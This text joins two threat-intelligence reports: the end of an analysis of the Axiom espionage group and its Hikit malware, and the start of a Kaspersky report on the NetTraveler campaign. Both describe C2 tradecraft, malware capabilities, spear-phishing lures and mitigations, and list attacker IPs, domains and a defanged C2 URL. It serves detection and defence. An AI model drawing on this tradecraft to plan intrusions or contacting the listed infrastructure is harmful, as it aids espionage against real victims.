Extended operations require meaningful resources, both in terms of financial capital (salaries), as well as physical resources (money for VPSs and traditional server infrastructure), as well as a logistic overhead for coordinating, planning, and researching attack vectors, creation/purchasing and distribution of 0-day exploit code and associated exploit frameworks34, and campaign coordination between subgroups.
Finally, threat actors at all the described stages, including Axiom, display a clear level of discipline in using their compromised resources.
There is no meaningful level of information leakage due to resource access, or due to visiting personal websites with these resources.
While this level of discipline has been observed outside of governmental organizations and 34 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks 21 funded operations, it displays a level of familiarity with investigative and forensics operations that clearly sets them apart from the less sophisticated threat actors.
Command and Control (C2) Infrastructure The infrastructure practices of these linked groups often change depending on the current stage of operation as well as the intended target, ultimately culminating in Axiom operations.
A good example would be the watering hole attacks observed targeting Japanese entities in 201335.
Because broad-spectrum watering hole attacks are widely noticed and reported on, Stage 1 operators appear to have heavily segregated their infrastructure from the infrastructure used during later stages of operation in order to better evade detection.
Operation SMN partners have a great deal of insight into the network characteristics and C2 of the Stage 2 tools and techniques (i.e., Derusbi, HyDraq, DeputyDog) which serve as secondary persistence and lateral movement tools.
Here, unlike Stage 1, the tools frequently reuse infrastructure and other resources, and there is even some historical overlap between second level domains used by the Stage 2 actors and the Stage 4 operators (Axiom).
iSIGHT Partners reporting has discussed the usage of domains in watering hole attacks that have been used to gain initial access to target networks for later stage persistence.
Passive DNS analysis has demonstrated that the linkages between Stage 2 and Stage 4 C2 domains are indirect, but present, establishing a possible link between the stages.
Unlike other threat actors, operators of all stages, particularly from Stage 3 onwards, take operational practices and security seriously.
There was no observed activity outside of campaign activity on the identified operational infrastructure across 76 unique Stage 4 campaigns.
For Stage 3 and 4 operations, Axiom is believed to have established a complex C2 infrastructure, which, based on campaign identifiers extracted from configuration files embedded in Hikit binaries, has been used to manage at least 76 unique campaigns that this operation has discovered.
Operation SMN partners believe that many more organizations have been affected by Axiom, but are currently unaware of any compromise due to Axioms hyper targeting and stealth at this stage of activities.
We hope that by highlighting some of Axioms techniques, tactics, and procedures we will increase the visibility of this group for awareness and detection.
The curated infrastructure that appears to be used strongly suggests that the Axiom actors are given the capacity and mandate to target and develop long-term strategic assets.
Within observed compromises, Axiom actors have been seen performing complex actions with their C2 infrastructure during the Stage 4 operational cycle.
Configuration files extracted from Hikit binaries indicate that C2 callback locations are tailored to the specific country and network environment in which the target resides.
C2 domains will consistently be named and hosted in such a way that traffic appears legitimate, likely in an effort to fool network security operators of target organizations.
Axiom and its linked groups have been known to conduct extensive research prior to compromising a target in order to determine ideal hosting locations.
To achieve 35 http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013- 3893-attack-against-japanese-targets.html 22 this, these threat actors often compromise secondary targets in order to obscure their C2 infrastructure and data exfiltration endpoints from their intended victims.
Additionally, past attacks have displayed that these linked groups are capable and willing to construct supply-chain attacks to allow them access to hardened targets.
These supply-chain attacks will extend to elements of the targets security supply chain.
The observed tempo in these supply-chain attacks suggest that Axiom operators are capable of coordinating rapid responses to roadblocks in their goals, even when those roadblocks represen sophisticated security organizations, such as Bit9.
Hikit Command and Control (C2) Configuration Axioms rather distinct network operations and TTPs for setting up C2 infrastructure separate them from other threat actors.
In particular, Axioms midpoint centric C2 infrastructure has resulted in unique fingerprints.
Each Hikit binary is configured for a specific target, often included in or referenced within the campaign indicator field of the respective configuration file.
Hikit operators (Axiom) appear to use a significant amount of C2 infrastructure isolation between targets, with different targets rarely sharing identical C2 locations.
This isolation provides a high degree of resiliency and operational security in the event that one operation becomes compromised, other operations are less likely to be interrupted or affected.
It is important to note that prior to Hikit Generation 2, we have no direct evidence of any C2 infrastructure due to the nature of Hikit Generation 1s functioning.
During the transition between the Generation 1 and Generation 2 codebases, Hikit development teams made the decision to include an embedded configuration file in the binary itself.
The first evidence of Hikit samples containing this configuration information, with embedded C2 information, appears to have been initiated on April 12, 2012.
During this time, two stages of Hikit binary creation were observed.
During their initial stage of work (those binaries with compile dates prior to April 2012), Axiom appeared to use both traditional DNS hosting services and dynamic DNS services equally.
While Axiom did not appear to have any obvious criteria for deciding which DNS provider would be used during this period, a preference for using DNSPOD (a Chinese-based DNS provider) and DtDNS (a US- based dynamic DNS service) was clear.
The reasons for the selection of DtDNS are unknown at this time but, the selection of DNSPOD can be assumed to be due to the geographic location of the provider itself.
The use of Dynamic DNS services is interesting, due to the confounding effect that it generally has on investigations.
After 2012, however, we have observed a general avoidance of dynamic DNS services.
Naming conventions of these Hikit domains is also notable due to the pattern that defines them.
Under almost all conditions, the domains are expressed as a 3LD format, where the youngest child domain represents the intended campaign target.
As an example, the domain format for AcmeInc would be acmeinc.basedomain.tld.
This naming convention, as well as the usage of DNS providers, is exclusive to Stage 4 infrastructure.
In fact, for all Stage 3 cases, no second level domain is directly used.
Instead, whenever malicious activity is observed, it can only be 23 strongly correlated to the child domain (of the DNSPOD domains), while the second level domain remains relatively static and clean in Asian geographic locations.
Historical examination of the base second level domains base, however, suggests that the second level domains were once used to launch attacks, similar to those domains seen in Stage 2 operations.
As this activity was last observed in 2010, it is theorized that current operational strategies were then developed and adhered to.
As noted above, most of the observed Hikit (Stage 4) campaigns rely on DNS services for C2 location and coordination.
While the A records for the child domains of the mothership (second level domain) DNS names are typically located on compromised infrastructure as previously discussed, there are a few identifying characteristics which have been noted.
Firstly, these domains have extremely short times of existence within the US.
Secondly, they display long distance relationship behavior, wherein they have NS records in countries outside the location of the child domain.
Heuristic detection for candidate C2 domains involves looking for domains that have had RDATA that exhibits travel between geographically disperse countries, and correlating that towards displayed naming and linguistic characteristics of the domain names.
Hikit binaries have also been observed as members of complex internal routing structures for the purposes of stealthy data exfiltration as well as access and persistence to internal resources.
This activity is rarely caught in practice, as many security teams neglect to perform flow analysis on internal-to-internal network traffic.
At all points during Axiom Stage 4 infections, evidence suggests that there are humans directly orchestrating operations.
Stage 1 and Stage 2 operations may have varying levels of human involvement.
As a result, exhaustive lists of domain names and IPs used in C2 operations are somewhat useless blacklisting will be ineffective and present a large amount of collateral damage due to the use of compromised infrastructure.
Interestingly, despite the general usefulness of large scale passive DNS analysis in most threat research, there are indications that many of the hits for Axiom C2 domains in this research exist because of independent security researchers or IT security teams conducting investigations.
This activity, while reliable for observing network C2 behavior, does make operational end dates difficult to determine for Stage 3 and 4 campaigns.
Remediation Currently, organizations that wish to protect themselves from the malware that Axiom has been observed using should download and utilize the latest MSRT release.
This tool has been verified to provide protection against malware families that Axiom favors, and is freely available to all Microsoft installations.
It is suggested that enterprise organizations push out and execute MSRT on a monthly basis.
Additionally, all members of the Operation SMN group have up-to- date signatures and heuristics for detecting the Axiom malware families, as well as any vendors involved in Microsofts VIA program.
24 It is strongly advised that organizations seeking protection from Axiom avoid the temptation of solely deploying network based signatures.
Because Axiom continually creates new C2 infrastructure for each new target and can quickly transition to new malware tooling, it is very unlikely that existing network IOCs will offer any meaningful level of protection for organizations whose infections are new or previously undiscovered.
Network operators can and should learn from the Axiom groups tradecraft security teams and IT staff should be especially wary of any traffic going to destination servers that does not match the apparent intent of these servers.
For example, large data transfers moving towards DNS nameservers on port 53 with no observable DNS content that are associated with known or related partners should be viewed as suspect.
Hikits usage of internally routed proxy nodes can complicate this task, and only advanced network analytics that includes a holistic view of internal and external network traffic can provide anything near 100 certainty.
Network boundaries of all types should be monitored.
If an internal network can route from restricted zones to ones of lower restriction, it should be monitored for data exfiltration in the same manner as a traditional border network.
Above all there is absolutely no substitute for continued vigilance -- by the time Hikit is installed on a victims infrastructure, the operation is in its final stages, and the attackers generally have free reign over the victim network.
Enterprises are advised that while Axiom represents an advanced attacker, their power comes from their discipline and logistics.
Ultimately, the removal of common low hanging fruit in network and endpoint security will go far to prevent Axiom from easily accessing networks.
Additional suggestions for protection against Axioms attacks would be: Block or sinkhole the DNSPOD name servers.
DNSPOD seems to be the preferred provider for DNS services for Axiom, and many organizations can block these resources without adverse effect on business needs.
Install and execute Microsofts EMET on endpoint machines, and configure it to your environment.
Globally edit Windows policies to disable the Sticky Keys functionality.
Restrict all remote access (RDP, SSH, Citrix, VPN, etc.)
and ensure that this access is only given to people that need it versus by default for the whole company wherever possible, implement two-factor authentication for any remote access.
Keep strong monitoring on VPN endpoints -- Axiom has demonstrated the ability to enter networks after compromising VPN client user credentials.
Two-factor protection to webmail services should be added where possible.
Ensure that local administrative accounts are not universal across your network, as a single compromise can bring the security of the entire network into question.
Ensure that local firewalls are configured and restrict access to both servers and workstations to only those subnets and users that require it.
Implement application whitelisting to prevent execution of unauthorized executables -- Microsoft AppLocker, Bit9, and other third party solutions are all improvements over default installations without whitelisting.
Encrypt e-mail where possible, even between internal users.
25 Ensure antivirus software is reporting to a central, monitored location.
Axioms binaries can flag AntiVirus rules that end up ignored, a security failing that they rely on.
Ensure proper auditing and review of security firewall rules, antivirus updates, IDS signatures, and other security controls.
Axiom actors during active compromises have been observed to disable key signatures or rules to force victim organizations to lose visibility.
Apply security patches in a timely manner.
While Axiom does make use of 0-day vulnerabilities, the group has also used disclosed, patched vulnerabilities that are found on outdated systems in a targets network.
Reference information provided by the FBI in their FLASH report - additional remediation information and suggestions are included36.
36 http://www.slideshare.net/ragebeast/infragard-hikitflash 26 Kudos Operation SMN and the subsequent actions taken by the group members could not have occurred without the generosity and talent of several organizations.
While the publicly acknowledged members of the group made critical contributions there are other firms that were critical to the findings contained in this report.
Their datasets, services, and software allowed coalition members to construct a substantially stronger case than would have been otherwise possible.
Farsight Security generously provided Novetta with unrestricted access to their historical passive DNS dataset, allowing analysts to investigate the C2 infrastructure used by Axiom over a wide window of time.
Endgame provided Novetta with extensive proprietary threat data and analytical processing capabilities allowing Novetta to gain a deeper insight into compromised network footprints.
Novetta would also like to thank those organizations and individuals who quietly contributed to the content covered in this report.
27 Appendix A: Malware Key Findings In the case of Axiom, the actors will utilize an array of capabilities, some more unique than others, for various phases of their exploitation operations.
The following capabilities are general a general list of the backdoors leveraged by this threat.
Poison Ivy Gh0st Rat PlugX ZXShell Hydraq/9002 RAT DeputyDog / Fexel Derusbi Hikit ZoxFamily (ZoxPNG, ZoxSMB, etc) Hikit Generation 1 Capability Features: File management: upload and download Remote shell Network tunneling (proxying) Ad-hoc network generation (connecting multiple Hikit infected machines to create a secondary network on top of the victims network topology) No config stored in sample, no command line parameter passing of C2 (listens for magic bytes) Interesting Facts: Relies on a NDIS (network) driver to communicate between the network and the malware The infected machine acts as the server while the controlling machine is the client , therefore at least one Hikit infection must be on an internet facing machine Contains no configuration information at all The NDIS (network) driver is a mixture of several open source pieces of code, most notably the passthru NDIS driver example from a 2003 blog37.
The client authenticates to the server at the NDIS driver layer by providing a specific set of strings that mimic HTTP requests Authors routinely forgot to remove the PDB strings revealing at least two compile machines Earliest known variants from early 2011 37 http://www.wd-3.com/archive/extendingpassthru2.htm 28 Hikit Generation 2 Capability Features: File management: upload and download Remote shell Network tunneling (proxying) Ad-hoc network generation (connecting multiple hikit infected machines to create a secondary network on top of the victims network topology) Interesting Facts: Comes in 64-bit and 32-bit versions depending on the targets infrastructure 32-bit versions use a rootkit driver to hit the malware process, network endpoints, registry keys and files.
The rootkit is based heavily on the Agony rootkit which is open source Unlike Gen1, the malware acts as a client to the C2s server.
Uses the same XOR encryption scheme as Gen 1 Developmental overlap found between Gen 1 and Gen 2 (new Gen1 sample found during the Gen 2 time span) Has at least 5 known sub-generations with the Gen 2 lineage Spanning from late 2011 to 2013 Zox Family Capability Features: Basic file management: upload, download, create directory, list Write files, delete files, move files Enumeration of attached drives Process management: list processes, kill process by PID Ability to run arbitrary code from C2 Remote shell Some samples appear to have exploit/spreading capabilities Interesting Facts: Evidence suggests that Zox has variants dating back to at least 2008, and may have multiple generations, and may have evolved from a simple spreader into something a bit more RAT like.
Uses PNG file format as the carrier format for data to and from the C2 The sample from 2008 uses SMB to communicate indicating it was originally a local exploitation tool instead of a remote tool Does not contain any C2 information as the attacker must provide the information at runtime via the command line 29 Evidence in Zox family of tools suggests a focus on China, Taiwan, US/UK, Korean language sets for exploits offsets leveraged in spreading functionality.
Was observed being leveraged by attackers via base64 encoded cab file that was then installed via a login script for a specific user.
Very few samples have been found compared to all the other malware families the effort is tackling.
Derusbi (Server Variant) Capability Features: File management: upload, download, create directory, list files, enumerate entire folder trees, move files, delete files, rename files, get file attributes, mimic timestamps of other files (e.g.
copying the timestamp of kernel32.dll to another file to allow for blending in) Derusbi may have a windows GUI component for the operator (based on file system behavior, and patterns of use).
Remote shell Basic (limited) network proxying Interesting Facts: Uses a 64-byte handshake of seemingly random data with four bytes specifically configured to act as the handshake The infected machine acts as the server while the controlling machine (the attackers machine) is a client (the reverse of typical malware communication) Does not contain any configuration information related to the attackers IP, only contains the campaign code Appears to be able to co-exist with other running services on the same port [unconfirmed, but speculated based on network capture evidence] 30 Appendix C: Signatures Yara Signature Links: Signatures from Novetta and ThreatConnect can be directly downloaded from the following sources: http://www.novetta.com/operationsmn IDS Signatures As detailed here38, Cisco, as a member of the overall coalition has released IDS signatures for their products.
Similar signatures that cover the tools used by axiom can be obtained via the EmergingThreats open signature set below39.
Novetta is working with both partners to insure that the signatures they have provide the best coverage possible.
Appendix D: Malware Names Index Operation SMN Name Other Industry Names Hydraq McRat, HydraQ/HidraQ, Naid, Homux, HomeUnix, MdmBot, Roarur Gh0st Moudoor, Mydoor PlugX Korplug, Sogu, Kaba, DestroyRat, TVT, Thoper Poison Ivy Breut, Darkmoon Derusbi Photos, Etso, Ocrums, win32.Agent.dbwr Hikit Hikiti Fexel DeputyDog ZoxPNG gresim ZoxRPC 38 http://blogs.cisco.com/security/talos/threat-spotlight-group-72/ 39 http://emergingthreats.net/products/etpro-ruleset/daily-ruleset-update-summary/ 31 Appendix E: Malware Hashes To the best of our abilities, Novetta has filtered some of the sample hashes collected from the below sample hashes.
This has been due to the highly targeted nature of some of the malware samples Operation SMN has collected.
The defensive value of knowing those samples or the hashes for organizations other than the targeted is nil given the technical information produced and shared by this effort.
The below hashes are for sample families that leverage shared generic infrastructure between multiple compromised infrastructure or contain no configuration information in the binary.
Links: http://www.novetta.com/operationsmn
The NeTTraveler (aka TravNeT) Author GlobAl reseArch And AnAlysis teAm 2 The NeTTraveler Part 1 (Public): executive summary Attack analysis cc infrastructure statistics mitigation conclusions Part 2 (contact us for more information: intelrePortskasPersky.com): Victim analysis and profiles command and control (cc) infrastructure and operation Attribution information The NeTTraveler 3 1.
execuTive Summary 1.
executiVe summAry this report describes multiple cyber-espionage campaigns that have successfully compro- mised more than 350 high profile victims in 40 countries.
the focus of the paper is to describe nettraveler, which is the main tool used by the threat actors during these attacks.
the name nettraveler comes from an internal string which is present in early versions of the malware: nettraveler is running.
this mal- ware is used by APt actors for basic surveillance of their victims.
earliest known samples have a timestamp of 2005, although references exist indicating activity as early as 2004.
the largest number of samples we observed were created between 2010 and 2013.
Known targets of nettraveler (also known as travnet or netfile) include tibetan/uyghur activists, oil industry companies, scientific re- search centers and institutes, universities, private companies, governments and govern- mental institutions, embassies and military con- tractors.
the nettraveler backdoor is often used together with other malware families.
during the anal- ysis of one of the command and control (cc) servers, we observed how the attackers de- ployed different backdoors to the victims ma- chines.
these include the malware known as saker also known as xbox (known filenames: update.exe, updata.exe or xbox.exe) and Pcrat / Zegost.
this report includes a full description of the saker/xbox backdoor as well.
the attacks use spear-phishing e-mails with malicious microsoft office documents as attach- ments.
Gathered data includes file system list- ings, keylogs, various types of documents (.doc, .xls, .ppt, .pdf, etc...) and other private informa- tion.
We have calculated the amount of stolen data stored on cc servers to be 22 gigabytes.
however this data represents only a small frac- tion which we managed to see - the rest of the it had been previously downloaded and deleted from the cc servers by the attackers.
4 The NeTTraveler nettraveler victims get infected through spear-phishing attacks using office documents which exploit two publicly known vulnerabilities -- cVe-2012-0158 and cVe-2010-3333.
Although these vulnerabilities have been patched by microsoft, they remain effective and are among the most exploited in targeted attacks.
during our analysis, we did not see any advanced use of zero-day vulnerabilities or other malware techniques such as rootkits.
it is therefore surprising to observe that such un- sophisticated attacks can still be successful with high profile targets.
2.1 Point of entry: sPear-Phishing examPles We are listing below several nettraveler spear-phishing examples observed during the course of this investigation mD5 29a420e52b56bfadf9f0701318524bef create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 2.
aTTack aNalySiS this spear-phish targeted cVe-2010-3333, a very popular vulnerability exploited in many attacks.
the development of this version of the exploit delivers a large, easily identified 0x4141 noP sled prior to its shellcode, shed- ding some light on the immaturity of the devel- opment behind the effort.
more interesting is that the target in india received this file titled Army cyber security Policy 2013.doc, and the accompanying benign and empty decoy Word document is dropped to the temp folder and opened with Word as Jallianwala bagh massacre a deeply shameful act.doc (md5: e617348b8947f28e2a280dd93c75a6ad).
5 2.
AttAcK AnAlysis kaspersky lab verdict: exploit.mSWord.
cve-2010-3333.cl the exploit drops temp\netmgr.dll temp\netmgr.exe temp\perf2012.ini temp\sysinfo2012.dll temp\winlogin.exe the malware command and control server script is at hxxp://www.faceboak.net/2012nt/ nettraveler.asp.
mD5 b600089a93275fa935 58695b707b87ad create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 Filename: invitation.doc decoy filename: mailnew.doc (empty) kaspersky lab verdict: exploit.mSWord.
cve-2010-3333.cl drops: temp\netmgr.dll temp\netmgr.exe temp\perf2012.ini temp\enumfs.ini temp\dnlist.ini temp\sysinfo2012.dll temp\winlogin.exe mD5 6eb5932b0ed20f11f1a 887bcfbdde10f create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 Filename: report - Asia defense spending boom.doc decoy filename: report--Asia defense spend- ing boom.doc (empty) (md5: e617348b- 8947f28e2a280dd93c75a6ad) kaspersky lab verdict: exploit.mSWord.
cve-2010-3333.cl drops: windir\system\config_t.dat windir\system32\enumfs.ini windir\system32\dnlist.ini windir\system32\iasex.dll windir\system32\system_t.dll 6 The NeTTraveler mD5 917e36946c67414a988f6 878d9d0cdfe create date (GmT) 2011-04-27 10:10:00 Size 252,275 vulnerability Targeted cVe-2010-3333 e-mail spear-phishing sample entitled his holi- ness the dalai lamas visit to switzerland day 4.
Attachment filename: his holiness the dalai lamas visit to switzerland day 3.doc decoy filename: his holiness the dalai lamas visit to switzerland day 3.doc kaspersky lab verdicts: exploit.mSWord.
cve-2010-3333.ci multiple decoy images depicting a large tibetan audience, and the dalai lama speaking drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe 7 2.
AttAcK AnAlysis mD5 36ed86602661bb3a7a5 5e69fde90ee73 create date (GmT) 2011-04-27 10:10:00 Size 252,275 vulnerability Targeted cVe-2010-3333 Filename: bJP wont dump modi for nitish ndA headed for split.doc decoy filename: bJP wont dump modi for nitish ndA headed for split.doc kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe decoy document with text related to politics in india.
8 The NeTTraveler mD5 63494c74db9bfc2bba 3983698c952de9 create date (GmT) 2011-04-27 10:10:00 Size 234,355 vulnerability Targeted cVe-2010-3333 Filename: Fax13-0417.doc decoy filename: Fax13-0417.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe mD5 151e5d1bb8142835633 cfd398e2e0ca3 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: the Prayer.doc decoy filename: Freedom of speech.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\ie.log Appdata\Adobe\perf2012.ini temp\winlogin.exe mD5 059a7482efee3b2abf67c 12d210cb2f7 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: Activity details.doc decoy filename: Activity details.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini temp\winlogin.exe files.
mD5 f4f14d4a1e34f62eeb9 a90b5c8b2cfc1 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: 23948-report.doc decoy filename: report.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\enumfs.ini Appdata\Adobe\perf2012.ini temp\winlogin.exe 9 2.
AttAcK AnAlysis mD5  e5954b8204eb321d 20bed4a86b3cef34 create date (GmT) Size 414,703 vulnerability Targeted  cVe-2010-3333 Filename: Alban tushaal Jagsaalt.doc decoy filename: document.doc (mongolian text) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops temp\smcs.exe windir\system\config_t.dat windir\system32\6to4ex.dll windir\system32\svchost.log mD5  0e2b10015fe52b7ea77 a213f0c330557 create date (GmT)  2012-06-29 08:31:45 Size  222,208 vulnerability Targeted  cVe-2012-0158 Filename: data.xls (empty decoy) kaspersky lab verdict: exploit.
Win32.cve- 2012-0158.y drops: temp\enumfs.ini temp\sysinfo2012.dll temp\dnlist.ini temp\netmgr.dll temp\perf2012.ini temp\netmgr.exe decoy document with mongolian writing 10 The NeTTraveler by default, nettraveler exfiltrates common file types such as doc, xls, PPt, rtF and PdF.
For a full list, see the detailed backdoor analysis below.
the backdoor configuration can however be extended with special options to steal other file types.
heres one such extended configura- tion recovered from an attack against a victim working in the oil industry: it is clear that the attackers are also collecting files of type .cdr (corel draw designs), .dwg, .dxf, .cdw, .dwf (AutocAd projects) and some configuration files .cfn and .cfg.
the various parameters of the malware are con- figured with a builder, which allows the attackers to change things such as the list of stolen files extensions, c2 address and so on: 2.3 installed malware, functionality, Persistence nettraveler is an automatic data exfiltration tool, designed to extract large amounts of private information from the victims system over long periods of time.
the malware uses compression techniques and a fail-safe protocol to ensure that uploaded data is safely transferred to the attackers c2s.
11 2.
AttAcK AnAlysis 2.4 exfiltrated data exfiltrated data is encoded with a custom compression and encoding library, which pro- duces files which resemble bAse64.
the data is transferred to the command and control servers via httP requests such as: nettraveler configuration Gui 12 The NeTTraveler 2.5 overlaP with red october note: for our analysis of the red october cam- paign, see: https://www.securelist.com/en/ blog/785/the_red_october_campaign_An_ Advanced_cyber_espionage_network_target- ing_diplomatic_and_Government_Agencies during our analysis of nettraveler infections, we identified several victims that were infected both by nettraveler and red october.
Although we see no direct links between the nettraveler attackers and the red october threat actor, the existence of victims infected by both of these campaigns is interesting.
these victims are: A military contractor in russia An embassy in iran An embassy in belgium An embassy in Kazakhstan An embassy in belarus A Government entity in tajikistan these infections indicate that certain high profile victims are targeted by multiple threat actors the target information is a valuable commodity.
2.6 connections with other camPaigns to better identify core nettraveler actors and delineate the groups from one another, we collect and categorize various tactics, tech- niques, and Procedures (ttPs) employed by these adversaries throughout their operations.
the attackers iP operation ranges, overlaps with that of a malware family known as Ze- gost.
For instance, one of the command and control servers that is part of the infrastruc- ture, is a well-known c2 for multiple Zegost variants, still active as of may 2013.
the tar- gets and command and control domain naming scheme indicates a connection between the lurid/enfal attackers and nettraveler.
some of the nettraveler c2s are used to distribute a malware known as saker or xbox, which is delivered as an update to the nettraveler victims.
note: more details about the connections between nettraveler and other campaigns is available in our private report.
contact us at intelreportskaspersky.com for more details.
13 3.
commAnd And control serVers And inFrAstructure the command and control servers generally run iis 6/7, as the c2 backend is an AsP (microsoft Active server Pages) script.
to transfer stolen data from the command and control servers, the attackers use FtP on top of VPn connections through a server in the us hosted by Krypt technologies.
the infrastructure is secured by allowing FtP access only to remote users coming from predefined iPs, including the VPn provider in the us.
during our investigation, we analyzed several hundred nettraveler samples and configuration files, which use more than 30 different cc serv- ers.
the list below includes the script names that we have seen on these servers and confirmed as malicious: aasogspread.asp, adfsdfclnggsldfc.asp, advertisingservicesa3sb.asp, aneywsf.
asp,  apple.asp,  applebag0 05.asp, azarweforrell.asp, azofjeljgo648rl.asp, certify.asp, dochunter.asp, dochunter1.asp, dochunteradfaefaer.asp, fish.asp, happy.
asp, heritage.asp, huyuio67.asp, little.asp, madmaswhbe.asp, nethttpfile.asp, netpass.
asp, nettraveler.asp, orphaned.asp, rice.asp, sabcfsf.asp, shenghai.asp, time.asp, update.
asp, weathobloe.asp, yegnfvhemc.asp All the known command and control servers per- form the same basic functions - for a description of the supported functionality, see below.
3.
commaND aND coNTrol ServerS aND iNfraSTrucTure during our monitoring period, we observed more than 100 command and control urls, pointing to multiple servers in the united states, china and hong Kong.
14 The NeTTraveler 15 3.
commAnd And control serVers And inFrAstructure 3.1 descriPtion of c2 scriPt functionality the main function of command and control servers is to collect stolen data from the victims.
stolen data is stored in the exact format it was sent from the victims Pc, without any additional encoding or obfuscation.
heres a listing of how a folder storing stolen victim data could look on the cc server: the uploaded data can be either a document file, a keylogger backlog or a system infor- mation profile.
heres how a decoded system information profile looks like: 16 The NeTTraveler the system profile includes an iPconFiG output as well as a list of user accounts in the machine.
if the malware install includes the netPass module, a keylogger will silently collect all typed data, together with window names.
this produces logs like the following (in decoded format): system profile, filename is of the form dlltravlerbackinfo-[date/time].bak sample decrypted log from the keylogging module 17 3.
commAnd And control serVers And inFrAstructure command action) Purpose script generation getdata read list of commands from the configuration file (eg.
nettraveler.
txt) and send it to the victim.
commands can be uninstAll, reset, uPdAte, uPloAd.
For a description of these com- mands see the technical appendix.
nettraveler.asp updated report to the c2 a successful exfiltration of victims data.
nettraveler.asp getemail read a template file (eg.
email.eml) and send to victim nettraveler.asp gotemail delete template from c2 (email.eml) nettraveler.asp datasize report filesize of additional backdoor module (eg.
updata.exe) nettraveler.asp getcmd Get specific individual commands to be executed on the victims machine.
nettraveler.asp gotcmd delete specific individual command for the victim from the c2 nettraveler.asp gettext send a specific text file from the c2 to the victim (eg.
nethttpfile.
txt) happy.asp downloaded same as updated command happy.asp downloadsize, updatesize same as datasize happy.a the command and control scripts reply to the victim with either success:size or Fail, de- pending on the result of the operation.
in some cases, instead of the Fail string, a more de- tailed error is sent back to the victim, in simpli- fied chinese: under normal operation, a victim can connect to the c2 every five seconds and upload chunks of data from the victim, until the entire file is successfully transferred.
in case of errors, the malware continues to send the data over and over, until they succeed.
the command and control scripts implement several functions to communicate with the victim during our analysis, we observed four different generations of these scripts, with various degrees of complexity.
the main function of the cc script saves stolen data to a folder in the c2 root, unless the request variable action is defined, in which case, it performs one of the following commands: - means can not be deleted - means the file does not exist 18 The NeTTraveler during our analysis, we obtained infection logs from several command and control servers.
the logs, which go back as far as 2009, show that the threat actors behind nettraveler successfully infected more than 350 victims in 40 countries.
the following map shows the locations and profile of the victims: 4.
Global iNfecTioN STaTiSTicS 19 4.
GlobAl inFection stAtistics the following map lists the victim profiles by industries: in addition to the data from the command and control servers, we collected statistics regarding detections of nettraveler from the Kaspersky security network.
the top 10 infected coun- tries as reported in Ksn (Kaspersky security network): Position  country   of total 1  mongolia  29 2  russia  19 3  india  11 4  Kazakhstan  11 5  Kyrgyzstan  5 6  china  3 7  tajikistan  3 8  south Korea  2 9  spain  2 10  Germany  1 Note: chart does not include the victims that couldnt be identified besides the cc logs and Ksn, we have also sinkholed two of the cc domains used by nettraveler: pkspring.net yangdex.org the data set collected so far from the sinkhole is relatively small and includes victims in mon- golia, south Korea and india.
We will continue to monitor the connections and over time, up- date this paper with more data as it becomes available.
Note: Taking into account that several other CC servers exist for which we have no logs and the KSN coverage, we estimate the total number of victims worldwide to be around 1,000.
Diplomatic 32 Government 19 Military 9 Private 11 Industrial and Infrastructure 7 Airspace 6 Research 4 Activism 3 Health 2 Financial 3 IT 3 Press 1 20 The NeTTraveler From the point of view of the victims, the most important part of any report is information on how to detect and eradicate the infections.
in addition to running a modern security suite ca- pable of detecting nettraveler, things such as filenames or c2 iPs can be extremely useful to system administrators.
this part of the report includes: indicators of compromise Kaspersky detection names md5s of known samples 5.1 indicators of comPromise: t yPes oF iocs: network traffic / iPs 209.11.241.144 - mothership, VPn serv- er, c2 121.12.124.69 - c2 (allen.w223.
west263.cn) 61.178.77.111 - c2 (wolf0.3322.org) 182.50.130.68 - c2 (viprambler.com) 103.20.192.59 - c2 (sunshine.59.ydli.net) 5.
miTiGaTioN iNformaTioN 213.156.6.122 - c2 (cultureacess.com) 209.130.115.38 - c2 (tsgoogoo.net) 98.143.145.80 - c2 (spit113.minidns.
net) 96.46.4.237 - c2 (sghrhd.190.20081.
info) 109.169.86.178 - c2 (imapupdate.com) 125.67.89.156 - c2 (faceboak.net) 142.4.96.6 - c2 (buynewes.com) 124.115.21.209 - c2 iP 67.198.140.148 - c2 (southstock.net) 96.44.179.26 - c2 (vip222idc.
s169.288idc.com) 235.22.123.90 - c2 (gami1.com) 178.77.45.32 - c2 (ra1nru.com) command and control domains and server names: allen.w223.west263.cn andriodphone.net bauer.8866.org buynewes.com cultureacess.com discoverypeace.org drag2008.com eaglesey.com enterairment.net faceboak.net 21 5.
